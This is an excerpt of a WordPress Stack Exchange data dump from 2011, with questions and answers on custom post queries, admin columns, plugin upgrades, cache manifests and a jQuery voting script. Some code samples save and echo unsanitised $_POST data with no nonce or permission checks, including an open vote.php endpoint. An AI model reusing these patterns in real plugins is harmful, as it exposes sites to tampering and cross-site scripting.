  <row Id="20890" PostTypeId="1" AcceptedAnswerId="20892" CreationDate="2011-06-23T21:28:13.683" Score="0" ViewCount="90" Body="&lt;p&gt;I have a custom post type named &quot;performance&quot;. I have a custom post query that orders posts by a custom field value (order-date). Now I want to exclude posts that have order-dates that are in the past. I would think I could use the same &quot;order-date&quot; value to compare against todays date to determine if a post should be shown, but I can't find an example that works with the ordering. Everything I've tried breaks the ordering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to work!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;&#xA;  $today = date('Y-m-d');&#xA;  query_posts(array(&#xA;    'post_type' =&amp;gt; 'performance', &#xA;    'posts_per_page' =&amp;gt; 5, &#xA;    'caller_get_posts' =&amp;gt; 5, &#xA;    'paged' =&amp;gt; $paged,&#xA;    'meta_key' =&amp;gt; 'order-date',&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'meta_query' =&amp;gt; array(&#xA;      array(&#xA;        'key' =&amp;gt; 'order-date',&#xA;        'meta-value' =&amp;gt; $value,&#xA;        'value' =&amp;gt; $today,&#xA;        'compare' =&amp;gt; '&amp;gt;=',&#xA;        'type' =&amp;gt; 'CHAR'&#xA;        )&#xA;      )&#xA;    ));&#xA;if (have_posts()) :&#xA;while (have_posts()) : the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I defined &quot;$today&quot; and added it to the meta_array for comparison with the meta-value. The past-dated performance items disappeared from the list and everything looks like it should. Thanks to Brady for putting me on the right track.&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="30" LastEditorDisplayName="" LastEditDate="2011-06-26T00:47:55.483" LastActivityDate="2011-06-26T00:47:55.483" Title="Trying to exclude custom posts based on date, while sorting by custom field" Tags="&lt;posts&gt;&lt;customization&gt;&lt;filters&gt;&lt;query&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20891" PostTypeId="1" CreationDate="2011-06-23T21:39:57.400" Score="0" ViewCount="52" Body="&lt;p&gt;I have checked Google webmasters tools and find a lot of pages with no results indexed. I do allow search result pages (search.php) to get indexed by search engine but I want to restrict only pages with results to get indexed, not all pages. How to accomplish such condition?. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2011-06-23T21:39:57.400" Title="How to prevent search engine from indexing empty search results page?" Tags="&lt;search&gt;&lt;seo&gt;&lt;search-engines&gt;" CommentCount="1" />
  <row Id="20892" PostTypeId="2" ParentId="20890" CreationDate="2011-06-23T21:47:41.107" Score="1" ViewCount="" Body="&lt;p&gt;You need to make use of &lt;code&gt;meta_query&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;&#xA; query_posts(array(&#xA; 'post_type' =&amp;gt; 'performance', &#xA; 'posts_per_page' =&amp;gt; 5, &#xA; 'caller_get_posts' =&amp;gt; 5, &#xA; 'paged' =&amp;gt; $paged,&#xA; 'meta_key' =&amp;gt; 'order-date',&#xA; 'orderby' =&amp;gt; 'meta_value',&#xA; 'order' =&amp;gt; 'ASC',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'order-date',&#xA;            'value' =&amp;gt; $value,&#xA;            'compare' =&amp;gt; '&amp;gt;=',&#xA;            'type' =&amp;gt; 'CHAR'&#xA;        )&#xA;    )&#xA; ));&#xA;if (have_posts()) :&#xA;while (have_posts()) : the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-25T09:42:25.113" LastActivityDate="2011-06-25T09:42:25.113" CommentCount="9" />
  <row Id="20893" PostTypeId="2" ParentId="20738" CreationDate="2011-06-23T21:57:38.553" Score="0" ViewCount="" Body="&lt;p&gt;use the following code and modify to your liking:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// grab latest five posts&#xA;$latestposts = get_posts(); // by default latest 5 is grabbed&#xA;// just grab post ids&#xA;$keys = array_keys($latestposts);&#xA;// grab those 5 posts but ordered by title&#xA;$fivepostsorderedbytitle = get_posts(array('orderby' =&amp;gt; 'post_title', 'post__in' =&amp;gt; $keys));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-23T21:57:38.553" />
  <row Id="20894" PostTypeId="1" AcceptedAnswerId="20898" CreationDate="2011-06-23T22:00:57.773" Score="0" ViewCount="68" Body="&lt;p&gt;I have some trouble.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Catalog */&#xA;function my_post_type_catalog() {&#xA;    register_post_type( 'catalog',&#xA;                array( &#xA;                'label' =&amp;gt; __('Catalog'), &#xA;                'public' =&amp;gt; true, &#xA;                'show_ui' =&amp;gt; true,&#xA;                'show_in_nav_menus' =&amp;gt; true,&#xA;                'rewrite' =&amp;gt; true,&#xA;                'hierarchical' =&amp;gt; true,&#xA;                'menu_position' =&amp;gt; 5,&#xA;                'supports' =&amp;gt; array(&#xA;                        'title',&#xA;                        'editor',&#xA;                        'thumbnail',&#xA;                        'excerpt')&#xA;                    ) &#xA;                );&#xA;    register_taxonomy('catalog_cat', 'catalog', array('hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'Catalog category', 'singular_name' =&amp;gt; 'catalog_category'));&#xA;}&#xA;&#xA;add_action('init', 'my_post_type_catalog');&#xA;&#xA;&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;&#xA;function admin_init(){&#xA;    add_meta_box(&quot;catalogdetails_meta&quot;, &quot;Price:&quot;, &quot;catalog_meta&quot;,  &quot;catalog&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;}&#xA;&#xA;function catalog_meta() {&#xA;  global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $price = $custom[&quot;price&quot;][0];&#xA;  ?&amp;gt;  &#xA;&#xA;    &amp;lt;div id='peoplemanager_form_container'&amp;gt;&#xA;&#xA;        &amp;lt;div id='shortanswers'&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;input name=&quot;price&quot; size=&quot;35&quot; value=&quot;&amp;lt;?php echo $price; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&#xA;add_action('save_post', 'save_details');&#xA;&#xA;function save_details(){&#xA;  global $post;&#xA;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;price&quot;, $_POST[&quot;price&quot;]);&#xA;}&#xA;&#xA;&#xA;// Register the column&#xA;function price_column_register( $columns ) {&#xA;    $columns['price'] = __( 'Price' );&#xA;&#xA;    return $columns;&#xA;}&#xA;add_filter( 'manage_edit-catalog_columns', 'price_column_register' );&#xA;&#xA;&#xA;// Display the column content&#xA;function price_column_display( $column_name, $post_id ) {&#xA;    if ( 'price' != $column_name )&#xA;        return;&#xA;&#xA;    $price = get_post_meta($post_id, 'price', true);&#xA;    if ( !$price )&#xA;        $price = '&amp;lt;em&amp;gt;' . __( 'undefined' ) . '&amp;lt;/em&amp;gt;';&#xA;&#xA;    echo $price;&#xA;}&#xA;add_action( 'manage_catalog_post_custom_column', 'price_column_display', 10, 2 );&#xA;&#xA;&#xA;// Register the column as sortable&#xA;function price_column_register_sortable( $columns ) {&#xA;    $columns['price'] = 'price';&#xA;&#xA;    return $columns;&#xA;}&#xA;add_filter( 'manage_edit-catalog_sortable_columns', 'price_column_register_sortable' );&#xA;&#xA;&#xA;function price_column_orderby( $vars ) {&#xA;    if ( isset( $vars['orderby'] ) &amp;amp;&amp;amp; 'price' == $vars['orderby'] ) {&#xA;        $vars = array_merge( $vars, array(&#xA;            'meta_key' =&amp;gt; 'price',&#xA;            'orderby' =&amp;gt; 'meta_value_num'&#xA;        ) );&#xA;    }&#xA;&#xA;    return $vars;&#xA;}&#xA;add_filter( 'request', 'price_column_orderby' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The price values not shows. What do I wrong ?&lt;br&gt;&#xA;...&#xA;Thanks for &lt;strong&gt;@Brady&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;need replace this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Display the column content&#xA;function price_column_display( $column_name, $post_id ) {&#xA;    if ( 'price' != $column_name )&#xA;        return;&#xA;&#xA;    $price = get_post_meta($post_id, 'price', true);&#xA;    if ( !$price )&#xA;        $price = '&amp;lt;em&amp;gt;' . __( 'undefined' ) . '&amp;lt;/em&amp;gt;';&#xA;&#xA;    echo $price;&#xA;}&#xA;add_action( 'manage_catalog_post_custom_column', 'price_column_display', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Display the column content&#xA;add_action('manage_catalog_posts_custom_column', 'sc_stores_manage_columns', 10, 2);&#xA;function sc_stores_manage_columns($column_name, $id) {&#xA;    $custom = get_post_custom($id);&#xA;    switch ($column_name) {&#xA;        case 'price':&#xA;            if ($custom[&quot;price&quot;][0]==&quot;&quot;){echo &quot;none&quot;;}&#xA;            echo $custom[&quot;price&quot;][0];&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6455" LastEditorUserId="6455" LastEditorDisplayName="" LastEditDate="2011-06-24T09:17:26.193" LastActivityDate="2011-06-24T09:17:26.193" Title="Why values dont shows in custom post column?" Tags="&lt;post-meta&gt;&lt;columns&gt;" AnswerCount="1" />
  <row Id="20895" PostTypeId="1" CreationDate="2011-06-23T22:09:00.967" Score="1" ViewCount="114" Body="&lt;p&gt;I'm wondering if anyone has implemented &lt;a href=&quot;http://www.w3.org/TR/offline-webapps/&quot; rel=&quot;nofollow&quot;&gt;Offline Web Applications&lt;/a&gt; from HTML5 in a WordPress blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you write a manifest file, all files must be accounted for, thought you can specify the wildcard * in the NETWORK section. So, given how MANY files and dirs makeup a typical WordPress install, does anyone have guidance on which files/dirs should be cached, and which can be fetched from the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I figure I need in the CACHE (explicit) section:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the theme I'm using (so wp-content/theme/theme-name &amp;amp; associate files)&lt;/li&gt;&#xA;&lt;li&gt;wp-content/uploads/ + everything inside&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm thinking of leaving OUT of the cache (i.e being caught by the * in the NETWORK section):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the wp-admin/ folder and all its content&lt;/li&gt;&#xA;&lt;li&gt;wp-content/upgrade/ &lt;/li&gt;&#xA;&lt;li&gt;wp-content/plugins/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm unsure whether to cache anything in the wp-includes/ folder or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem I foresee is that since the uploads/ file will be changing as images are added, I am going to have to update my cache.manifest for each new piece of content -- unless I am ok with that images/video/whatever not caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on this from someone who's done it, or been thinking about doing it?&lt;/p&gt;&#xA;" OwnerUserId="6457" LastActivityDate="2011-08-27T11:35:24.550" Title="Writing a cache manifest file for a WordPress blog (app cache, offline web applications)" Tags="&lt;cache&gt;&lt;html5&gt;&lt;offline&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20896" PostTypeId="1" CreationDate="2011-06-23T22:10:53.880" Score="0" ViewCount="45" Body="&lt;p&gt;I'm having some trouble upgrading my plguins through the Dashboard, If i upgrade plugins manually via FTP, will i lose any info from plugins like statpress and all in one seo?&lt;/p&gt;&#xA;" OwnerUserId="6133" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-23T23:05:00.710" LastActivityDate="2011-06-23T23:05:00.710" Title="Can I upgrade plugins via FTP?" Tags="&lt;plugins&gt;&lt;updates&gt;&lt;ftp&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="20897" PostTypeId="2" ParentId="20883" CreationDate="2011-06-23T22:10:58.387" Score="2" ViewCount="" Body="&lt;p&gt;wordpress comes with a battery of things .... templates, themes, template tags, plugins, widgets, functions.php (in the template folder), and most important of all hooks ........ that means that you NEVER NEED to change a line of code in the core.... the key with wordpress is to figure out how to do what you want without hacking the core... and it's always possible ..... what you need to do instead is to figure out roughly in this order how to a) add new themes, b)edit your theme and template files, c)create your own theme or child theme d)use filter and action hooks e)create shortcodes (good for experimenting) f)make use of the functions.php file in the theme (this is one place where you put your shortcodes) g)build your own plugins .... if you know all that then you will never want to change any core code&lt;/p&gt;&#xA;" OwnerUserId="6169" LastActivityDate="2011-06-23T22:10:58.387" />
  <row Id="20898" PostTypeId="2" ParentId="20894" CreationDate="2011-06-23T22:11:38.747" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;add_action( 'manage_post_custom_column', 'price_column_display', 10, 2 );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This line is wrong. I think it should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action( 'manage_catalog_post_custom_column', 'price_column_display', 10, 2 );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook format is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;manage_{$post_type}_posts_custom_column&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try your custom column code like the following code. I know in this format it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('manage_stores_posts_custom_column', 'sc_stores_manage_columns', 10, 2);&#xA;function sc_stores_manage_columns($column_name, $id) {&#xA;    $custom = get_post_custom($id);&#xA;    switch ($column_name) {&#xA;        case 'town':&#xA;            echo $custom[&quot;sc_stores_town&quot;][0];&#xA;        break;&#xA;&#xA;        case 'road':&#xA;            echo $custom[&quot;sc_stores_road&quot;][0];&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-24T08:23:21.717" LastActivityDate="2011-06-24T08:23:21.717" CommentCount="5" />
  <row Id="20899" PostTypeId="2" ParentId="20869" CreationDate="2011-06-23T22:19:16.240" Score="0" ViewCount="" Body="&lt;p&gt;As far as I remember cleanup you are talking about is performed by JavaScript so it isn't easy to mashup with PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably be easier to make list of changes you want performed and do it with PHP (there are cleanup-related function available in it as well).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-23T22:19:16.240" />
  <row Id="20900" PostTypeId="2" ParentId="20896" CreationDate="2011-06-23T22:21:25.180" Score="1" ViewCount="" Body="&lt;p&gt;It should work just fine, plugin options should (and usually are) stored in database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatic upgrade doesn't do much other than overwriting files.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-23T22:21:25.180" CommentCount="1" />
  <row Id="20901" PostTypeId="2" ParentId="20896" CreationDate="2011-06-23T22:26:05.707" Score="3" ViewCount="" Body="&lt;p&gt;Short answer: yes you can upgrade your plugins via FTP.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the new version of the plugin.&lt;/li&gt;&#xA;&lt;li&gt;Disable the plugin you are about to update.&lt;/li&gt;&#xA;&lt;li&gt;Upload files over the top of the plugin.&lt;/li&gt;&#xA;&lt;li&gt;Re-enable plugin&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the plugin is written well stats, settings and options should remain intact. As Rarst has already mentioned the automated upgrader just overwites files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for disabling the plugin first before upgrading is to stop regular site visitors running the plugin while files are being uploaded. If a plugin is run with only half of the correct files in place things can go wrong such as errors popping up and settings getting corrupt. Hence why you should disable the plugin first. When I say disable I do not mean delete.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-23T22:26:05.707" />
  <row Id="20902" PostTypeId="1" CreationDate="2011-06-23T22:31:56.853" Score="0" ViewCount="82" Body="&lt;p&gt;How can I add a custom menu item into my WP menu by adding a function in my theme's function.php? I have a custom login page that I want to use; once the user has logged in, redirect to another custom page. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6458" LastActivityDate="2011-06-23T22:31:56.853" Title="add menu items to wp menu" Tags="&lt;functions&gt;&lt;wp-admin&gt;&lt;custom-menus&gt;" CommentCount="1" />
  <row Id="20903" PostTypeId="2" ParentId="20824" CreationDate="2011-06-23T22:40:03.540" Score="0" ViewCount="" Body="&lt;p&gt;First thing to do is make sure no plugins or theme is breaking the upgrade process. So firstly disable all plugins and switch back to the default 2010 theme. The try the upgrade again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still unable to get this to work then you are aware that you can upgrade the old fashioned way by ftp?&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-23T22:40:03.540" />
  <row Id="20904" PostTypeId="1" AcceptedAnswerId="20929" CreationDate="2011-06-23T22:54:46.897" Score="1" ViewCount="110" Body="&lt;p&gt;While working with metaboxes / custom fields I've seemed to indirectly create many of these _encloseme meta_keys all over my wp_postmeta. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seen here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/a9aTo.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far no problems have arisen from this and the custom fields work fine but I've only fidgeted with 2 or so posts on my local test site and I don't want to implement it to my live site if its going to cause issues later on down the road. Anyone know what to do about these, are they normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code for my metaboxes. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    //Add meta boxes to post types&#xA;    function plib_add_box() {&#xA;        global $meta_box;&#xA;&#xA;        foreach($meta_box as $post_type =&amp;gt; $value) {&#xA;            add_meta_box($value['id'], $value['title'], 'plib_format_box', $post_type, $value['context'], $value['priority']);&#xA;        }&#xA;    }&#xA;    //Formatting&#xA;    function plib_format_box() {&#xA;      global $meta_box, $post;&#xA;&#xA;      // verification&#xA;      echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;plib_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;&#xA;      echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;      foreach ($meta_box[$post-&amp;gt;post_type]['fields'] as $field) {&#xA;          // get current post meta data&#xA;          $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;&#xA;          echo '&amp;lt;tr&amp;gt;'.&#xA;                  '&amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;'. $field['id'] .'&quot;&amp;gt;'. $field['name']. '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;'.&#xA;                  '&amp;lt;td&amp;gt;';&#xA;          switch ($field['type']) {&#xA;              case 'text':&#xA;                  echo '&amp;lt;input type=&quot;text&quot; name=&quot;'. $field['id']. '&quot; id=&quot;'. $field['id'] .'&quot; value=&quot;'. ($meta ? $meta : $field['default']) . '&quot; size=&quot;30&quot; style=&quot;width:97%&quot; /&amp;gt;'. '&amp;lt;br /&amp;gt;'. $field['desc'];&#xA;                  break;&#xA;              case 'textarea':&#xA;                  echo '&amp;lt;textarea name=&quot;'. $field['id']. '&quot; id=&quot;'. $field['id']. '&quot; cols=&quot;60&quot; rows=&quot;4&quot; style=&quot;width:97%&quot;&amp;gt;'. ($meta ? $meta : $field['default']) . '&amp;lt;/textarea&amp;gt;'. '&amp;lt;br /&amp;gt;'. $field['desc'];&#xA;                  break;&#xA;              case 'select':&#xA;                  echo '&amp;lt;select name=&quot;'. $field['id'] . '&quot; id=&quot;'. $field['id'] . '&quot;&amp;gt;';&#xA;                  foreach ($field['options'] as $option) {&#xA;                      echo '&amp;lt;option '. ( $meta == $option ? ' selected=&quot;selected&quot;' : '' ) . '&amp;gt;'. $option . '&amp;lt;/option&amp;gt;';&#xA;                  }&#xA;                  echo '&amp;lt;/select&amp;gt;';&#xA;                  break;&#xA;              case 'radio':&#xA;                  foreach ($field['options'] as $option) {&#xA;                      echo '&amp;lt;input type=&quot;radio&quot; name=&quot;' . $field['id'] . '&quot; value=&quot;' . $option['value'] . '&quot;' . ( $meta == $option['value'] ? ' checked=&quot;checked&quot;' : '' ) . ' /&amp;gt;' . $option['name'];&#xA;                  }&#xA;                  break;&#xA;              case 'checkbox':&#xA;                  echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;' . $field['id'] . '&quot; id=&quot;' . $field['id'] . '&quot;' . ( $meta ? ' checked=&quot;checked&quot;' : '' ) . ' /&amp;gt;';&#xA;                  break;&#xA;          }&#xA;          echo     '&amp;lt;td&amp;gt;'.'&amp;lt;/tr&amp;gt;';&#xA;      }&#xA;&#xA;      echo '&amp;lt;/table&amp;gt;';&#xA;&#xA;    }&#xA;    // Save data from meta box&#xA;    function plib_save_data($post_id) {&#xA;        global $meta_box,  $post;&#xA;&#xA;        //Verify&#xA;        if (!wp_verify_nonce($_POST['plib_meta_box_nonce'], basename(__FILE__))) {&#xA;            return $post_id;&#xA;        }&#xA;&#xA;        //Check &amp;gt; autosave&#xA;        if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;            return $post_id;&#xA;        }&#xA;&#xA;        //Check &amp;gt; permissions&#xA;        if ('page' == $_POST['post_type']) {&#xA;            if (!current_user_can('edit_page', $post_id)) {&#xA;                return $post_id;&#xA;            }&#xA;        } elseif (!current_user_can('edit_post', $post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;&#xA;        foreach ($meta_box[$post-&amp;gt;post_type]['fields'] as $field) {&#xA;            $old = get_post_meta($post_id, $field['id'], true);&#xA;            $new = $_POST[$field['id']];&#xA;&#xA;            if ($new &amp;amp;&amp;amp; $new != $old) {&#xA;                update_post_meta($post_id, $field['id'], $new);&#xA;            } elseif ('' == $new &amp;amp;&amp;amp; $old) {&#xA;                delete_post_meta($post_id, $field['id'], $old);&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    add_action('save_post', 'plib_save_data');&#xA;&#xA;    //We create an array called $meta_box and set the array key to the relevant post type&#xA;// If custom post type, change the 'post' variable&#xA;    $meta_box['post'] = array(&#xA;&#xA;        //This is the id applied to the meta box&#xA;        'id' =&amp;gt; 'venue_location',  &#xA;&#xA;        //This is the title that appears on the meta box container&#xA;        'title' =&amp;gt; 'Venue/Location',    &#xA;&#xA;        //This defines the part of the page where the edit screen section should be shown&#xA;        'context' =&amp;gt; 'normal',    &#xA;&#xA;        //This sets the priority within the context where the boxes should show&#xA;        'priority' =&amp;gt; 'high',&#xA;&#xA;        //Here we define all the fields we want in the meta box&#xA;        'fields' =&amp;gt; array(&#xA;            array(&#xA;                'name' =&amp;gt; 'Venue',&#xA;                'desc' =&amp;gt; 'Venue Name',&#xA;                'id' =&amp;gt; 'venue_info',&#xA;                'type' =&amp;gt; 'text',&#xA;                'default' =&amp;gt; ''&#xA;            ),&#xA;            array(&#xA;                'name' =&amp;gt; 'Location',&#xA;                'desc' =&amp;gt; 'Location of the Venue',&#xA;                'id' =&amp;gt; 'location_info',&#xA;                'type' =&amp;gt; 'text',&#xA;                'default' =&amp;gt; ''&#xA;            )&#xA;        )&#xA;    );&#xA;    add_action('admin_menu', 'plib_add_box');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Just incase, here's a pastbin link to the above code: &lt;a href=&quot;http://pastebin.com/0QsqxtZW&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/0QsqxtZW&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="6423" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-24T12:21:45.347" LastActivityDate="2011-06-24T12:21:45.347" Title="The &quot;_encloseme&quot; Meta-Key Conundrum" Tags="&lt;custom-field&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20905" PostTypeId="2" ParentId="14533" CreationDate="2011-06-23T22:54:57.297" Score="1" ViewCount="" Body="&lt;p&gt;You will have to make a second button for down voting. Give the upvote button a class of up and the down vote button a class of down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script( 'jquery' ) ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery(document).ready(function() {&#xA;            jQuery(&quot;.vote a.up&quot;).click(&#xA;&#xA;            function() {&#xA;                var some = jQuery(this);&#xA;                var thepost = jQuery(this).attr(&quot;post&quot;);&#xA;                var theuser = jQuery(this).attr(&quot;user&quot;);&#xA;                jQuery.post(&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/vote.php&quot;, {&#xA;                    user: theuser,&#xA;                    post: thepost,&#xA;                    updown: 'up'&#xA;                }, function(data) {&#xA;                    var votebox = &quot;.vote&quot; + thepost + &quot; span&quot;;&#xA;                    jQuery(votebox).text(data);&#xA;                    jQuery(some).replaceWith('&amp;lt;span class=&quot;voted&quot;&amp;gt;Voted&amp;lt;/span&amp;gt;');&#xA;                });&#xA;            });&#xA;            jQuery(&quot;.vote a.down&quot;).click(&#xA;&#xA;            function() {&#xA;                var some = jQuery(this);&#xA;                var thepost = jQuery(this).attr(&quot;post&quot;);&#xA;                var theuser = jQuery(this).attr(&quot;user&quot;);&#xA;                jQuery.post(&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/vote.php&quot;, {&#xA;                    user: theuser,&#xA;                    post: thepost,&#xA;                    updown: 'down'&#xA;                }, function(data) {&#xA;                    var votebox = &quot;.vote&quot; + thepost + &quot; span&quot;;&#xA;                    jQuery(votebox).text(data);&#xA;                    jQuery(some).replaceWith('&amp;lt;span class=&quot;voted&quot;&amp;gt;Voted&amp;lt;/span&amp;gt;');&#xA;                });&#xA;            });&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vote.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$file = dirname(__FILE__);&#xA;$file = substr($file, 0, stripos($file, &quot;wp-content&quot;) );&#xA;&#xA;require( $file . &quot;/wp-load.php&quot;);&#xA;&#xA;$currentvotes = get_post_meta($_POST['post'], 'votes', true);&#xA;if(&quot;up&quot; == $_POST['updown']) {&#xA;    $currentvotes ++;&#xA;} elseif(&quot;down&quot; == $_POST['updown']) {&#xA;    $currentvotes --;&#xA;}&#xA;&#xA;$voters = get_post_meta($_POST['post'], 'thevoters', true);&#xA;if(!$voters) $voters = $_POST['user']; else $voters = $voters.&quot;,&quot;.$_POST['user'];&#xA;&#xA;update_post_meta($_POST['post'], 'votes', $currentvotes);&#xA;update_post_meta($_POST['post'], 'thevoters', $voters);&#xA;&#xA;echo $currentvotes;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats all you should need to edit&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-23T22:54:57.297" CommentCount="1" />
